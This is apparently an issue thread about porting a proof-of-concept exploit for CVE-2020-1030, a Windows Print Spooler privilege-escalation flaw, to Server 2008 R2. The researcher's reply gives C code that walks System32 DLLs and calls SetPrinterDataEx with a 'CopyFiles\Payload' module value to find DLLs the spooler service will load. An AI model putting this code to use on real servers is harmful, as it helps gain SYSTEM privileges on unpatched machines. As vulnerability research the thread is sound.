PoC for CVE-2020-1030 not compatible with WinSrv 2008R2.

[ecote7]

Since AppVTerminator.dll seems to be missing on Server2008...is there an alternative to TerminateProcess() via another DLL to adapt this PoC ?

[offenseindepth]

Hi @ecote7

I haven't looked into all the libraries. The obvious alternative is to wait for system reboot. However, it shouldn't be difficult finding potential DLLs by iterating System32\*.dll and calling SetPrinterDataEx (example below). Other researchers have alluded to crashing the spoolsv.exe process without disclosing specifics. Please let us know if you find anything interesting.

HANDLE hFind;
WIN32_FIND_DATA findData;
DWORD cbData;

if ((hFind = FindFirstFile(L"C:\\Windows\\System32\\*.dll", &findData)) != INVALID_HANDLE_VALUE)
{
    do
    {
        cbData = (DWORD)(wcslen(findData.cFileName) * sizeof(findData.cFileName[0]));
        if (SetPrinterDataEx(hPrinter, L"CopyFiles\\Payload", L"Module", REG_SZ, (BYTE*)findData.cFileName, cbData) != ERROR_SUCCESS)
        {
            // Found
        }
    }
    while (FindNextFile(hFind, &findData) != 0);

    FindClose(hFind);
}